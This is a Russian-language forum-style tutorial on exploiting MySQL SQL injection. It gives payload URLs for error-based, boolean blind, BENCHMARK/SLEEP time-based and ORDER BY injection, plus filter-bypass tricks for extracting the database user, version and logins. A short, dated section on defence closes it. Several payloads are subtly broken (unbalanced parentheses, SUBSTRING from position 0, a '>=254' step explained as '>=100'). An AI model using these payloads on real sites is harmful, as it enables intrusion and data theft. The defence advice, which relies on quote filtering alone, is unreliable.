3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ПРЯМОЙ ВЫВОД НА СТРАНИЦУ.
3.1 Вывод в отчете об ошибках
Более подробно можно найти в комментариях к статье
Быстрый Blind SQL Injection (Qwazar)
Идея этого способа попробовать найти вывод в отчете об ошибках. То есть динамически передать какую либо подстроку в ошибку мускула.
Вообщем не вижу смысла пытаться разъяснить смысл и логику запроса, чесно говоря сам еле допер)
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID([YOUR QUERY], 1, 63), FLOOR(RAND(0)*2))
Минус данного способа - невозможность вывести свою строку длинее 63 символов за один раз, ну и естественно необходимость включенного отображения отчета об ошибках.
Собственно вот пример того как можно заюзать этот способ:
http://xxx/news.php?id=-1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))) --
Как результат предыдущего запроса мы увидим ошибку типа:
Duplicate entry '5.0.45-community-nt0' for key 1
Имейте ввиду что последний ноль в строке "5.0.45-community-nt0" не относится к ней, и является результатом выполнения команды FLOOR(RAND(0)*2), без которой не удалось бы спровоцировать ошибку. И из - за которого мы выводим по 63 символа а не по 64, как могло бы показаться изначально.
3.2 Посимвольный перебор
Этот случай нужен нам если
http://xxx/news.php?id=1 при разных id выдаст нам разные результаты. Например
http://xxx/news.php?id=1 будет отлично от
http://xxx/news.php?id=0 если нет, то этот метод бесполезен но дочитать до конца стоит.
Как мы помним запрос к БД у нас выглядит так
Код:
SELECT * FROM news WHERE id='1'
Теперь мы его модифицируем через уязвимый параметр id до такого запроса (если что то незнакомое то идем в пункт 5 и читаем):
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- '
Вот так:
http://xxx/news.php?id=-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') --
Что нам это дает? Для начала MYSQL выполняет подзапрос
SELECT USER() вставляет его в функцию
ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция
IF() возвращает
1 если этот код больше или равен 100 oсновной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=1
и выполняется точно также как и при обращении к скрипту
http://xxx/news.php?id=1 а если код этого числа меньше то основной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=0
и выполняется точно также как и при
http://xxx/news.php?id=0
Назовем условно что запрос возвращает
1(да) или
0(нет) соответственно и начнем перебирать.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0') --
Ага вернулся
1 значит код первого символа
больше или равен 100. Пробуем вот так:
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=200,'1','0') --
Вернулся
0 значит 100<= код символа <200.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=150,'1','0') --
Опять вернулся
0 значит 100<= код символа <150.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=125,'1','0') --
И снова вернулся
0 значит 100<= код символа <125.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=113,'1','0') --
Вернулся
1 следовательно113<= код символа <125.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=118,'1','0') --
Возвращается
0 следовательно113<= код символа <118.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=115,'1','0') --
113<= код символа <115.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1) =113,'1','0') --
Вернулся
0 значит код символа
не равен 113.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)=114,'1','0') --
Ура! Вернулся
1 значит код символа
равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу.
http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),2,1)>=100,'1','0') --
И заново повторяем все предыдущие шаги.
3.3 Посимвольный перебор с помощью BENCHMARK
Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция
BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос
Код:
SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW())))
выполняется ооочень долго, и на основе задержек (нет, не пугайся, не тех задержек, что ты сейчас подумал) будем посимвольно перебирать какой-нибудь параметр допустим имя юзера под которым мы подключены к БД (его выводит нам функция
USER()).
http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) --
Запрос станет таким:
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- '
И теперь по аналогии с предыдущим пунктом мы будем перебирать строку
USER(). Только в данном случае вместо
0 функция будет очень долго выполнять этот запрос что и будет нам говорить о том что запрос вернул
0 и соответственно если без каких либо задержек то запрос возвращает
1.
Теперь поговорим о времени задержки. Для того чтобы определить время возврата
0 и
1 нужно сделать предварительно несколько запросов:
http://xxx/news.php?id=-1' OR id= IF(99>100, 1, BENCHMARK(2999999,MD5(NOW()))) --
Будет возвращать
0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число
2999999 до токого, чтобы вы могли точно судить была ли задержка или нет по сравнению с
http://xxx/news.php?id=-1' OR id= IF(101>100, 1, BENCHMARK(2999999,MD5(NOW()))) --
который вернет
1.
Огромным минусом является то что
BENCHMARK-ом мы очень сильно грузим сервак.
ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными.
3.4 Посимвольный перебор с помощью SLEEP
Чтож про бенчмарк мы прочитали. И все обратили внимание на жуткую не стабильность этого метода. Что делать спросите вы? Вот что. С
5 ветки MySQL появился оператор
SLEEP().
По сути эта функция и создает нужную нам задержку в ответе веб сервера, и, заметьте, без ненужных нагрузок на него. То есть
SLEEP() является лучшей альтернативой BENCHMARK() и юзать желательно ее, но повторюсь единственный минус - эта функция появилась только аж в 5-ой ветке. Сказка, да и только.
Как юзать? Все элементрано:
http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
Я юзаю значение в две - три секнуды, но вам советую подобрать его в соответствии с каналом сервера, так как могут возникнуть погрешности в выводе.
3.5 Посимвольный перебор с помощью отчета об ошибках
Этот пункт написан на основе статьи "
Новая альтернатива Benchmark'y или эффективный blind SQL-injection" автор
Elekt, респект ему.
Данный способ основан на том что вместо возврата
0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился
0, а по отсутствию ошибки что возвратился
1. Этот способ нам поможет если отсутствуют выводимые поля, но
ВКЛЮЧЕН(!) отчет об ошибках.
Код:
SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2)
Как вы думаете что вернет этот запрос? Правильно ошибку так как id сравнивается с подзапросом который возвращает две строки.
mysql_query():Subquery returns more than 1 row
Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) -- '
Как видно из этого запроса если код символа будет
больше или равен 100 функция
IF() возвращает
1, и никакой тогда ошибки не вылазит, а если функция выполняет подзапрос
Код:
SELECT 1 UNION SELECT 2
который возвращает две строки что при сравнении с id вызывает ошибку и мы понимаем что запрос вернул
0.
Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы.
3.6 Иньекция в операторе ORDER BY
Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за
истину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй
ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=112,1,-1))
Чтож вывелся обратный порядок новостей =>
ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
Опять
ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=114,1,-1))
О! Прямой порядок новостей =>
истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
4.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.
4.1 Фильтруется пробел
Ну для начала вспомним что для SQL конструкция типа
/**/ равна пробелу.
Ну а что делать если подобная конструкция фильтруется? Все элементарно. Можно воспользоватся скобками и апострофами. К примеру:
Код:
SELECT * FROM news WHERE id='1'UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))#'
Такой запрос выполнится правильно.
(Только удалите лишние, неадекватные пробелы - их, зараза, вставляет форум)
4.2 Фильтруется символ/строка
Есть интересная функция
CHAR() которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция
ASCII() возвращает код самого левого символа из переданной ей строке юзается так
только на уязвимом хосте этого делать смысла нет (Символ '*' фильтруется) это нужно сделать на локалке. Узнаем что код равен 42 и юзаем функцию
CHAR() так
Код:
SELECT CHAR(42, 42, 42)
Выведет три звездочки.
Еще один способ это использовать 16-ричный код символа. Теперь предположим что фильтруется солово 'admin'. В MYSQL есть функция
HEX() которая выдает 16-ричный код строки. Юзается так
Выдаст '61646D696E' впереди дописываем "0x" (Чтобы SQL понял что имеет дело с 16-ричной кодировкой) и получаем '0x61646D696E ' это юзать без
CHAR() так
Код:
SELECT password FROM User WHERE login=0x61646D696E
4.3 Проблемы с кодировками
Часто бывает так, вот вы вроде нашли все столбцы составили верный запрос, а при попытке вывести из БД какую либо строку не получается - ну и взависимости от конфигурации сервера вы можете получить сообщение о несовместимости кодировок, а можете и не получить.
Есть элементарный способ возложить преобразование кодировок на плечи мускула. Можно юзать подобную конструкцию:
AES_DECRYPT(AES_ENCRYPT([Ваш запрос],'bla'),'bla')
Но! Какбе это уже не модно и очень громоздко, и где то в дебрях этого топика я пару лет назад предлагал другую конструкцию, намного меньшую:
UNHEX(HEX([Ваш запрос]))
Как говорится все гениальное просто.
Ну и собственно пример того как это можно юзать:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,UNHEX(HEX(login)),5,6 FROM Users LIMIT 0,1 --
5.ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL
Надеюсь что за
SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать:
Большой справочник языку SQL .
----------------------------
USER()-функция выводит логин юзера под которым мы подключены к MYSQL
DATABASE()-функция выводит название БД к которой мы подключены
VERSION()-выводит версию MYSQL
----------------------------
ASCII(str)-возвращает ASCII код первого символа в строке "str"
CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д.
HEX(str)-возвращает 16-ричный эквивалент строки "str".
----------------------------
LENGTH(str)- Возвращает длину строки "str".
SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos.
LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0.
----------------------------
LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу)
CONCAT(param1,param2,...) -объединение подстрок в одну строку.
CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep".
----------------------------
IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2.
----------------------------
expr BETWEEN min AND max-Если величина выражения expr больше или равна заданному значению min и меньше или равна заданному значению max, то функция BETWEEN возвращает 1, в противном случае - 0.
----------------------------
Теперь о комментариях в Mysql
1)
# символ начала комментария в MySQL. Пример:
Код:
SELECT pass,login FROM users #This is comment
что аналогично запросу
Код:
SELECT pass,login FROM users
2)
-- еще один вариант комментария в MySQL. Обязателен пробел после этого знака. Пример:
Код:
SELECT pass,login FROM users -- This is comment
3)
/* */ аналог комментария СИ в MySQL. Начиная с ветки 5.1(?) лафа заканчивается и для этого типа комментариев нужна закрывающая часть. Для MySQL индеинтична пробелу. Примеры:
Код:
SELECT pass,login FROM users /*This is comment
SELECT pass,login/*This is comment*/FROM users
SELECT/**/pass,login/**/FROM/**/users
4)
/*!int */ Расширение предыдущего комментария. Все заключенное в данный комментарий будет интерпретироваться как SQL запрос если номер данной версии MySQL равен указанному числу int после восклицательного знака или больше. Пример:
Код:
SELECT pass/*!32302 ,login*/FROM users
Выведет столбец login если версия MySQL равна либо выше 3.23.02
6. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION
Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет.
А защитится очень просто. Кстати
все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie.
1)САМОЕ ГЛАВНОЕ
ФИЛЬТРОВАТЬ КАВЫЧКИ.
-------------------------------
2)Если используется оператор сравнения строк
LIKE фильтровать знаки “%” и “_”
-------------------------------
3)Не использовать при сравнении прерменных без кавычек типа
SELECT …WHERE id=$id а использовать так
SELECT ...WHERE id='$id' и обратиться к пункту 1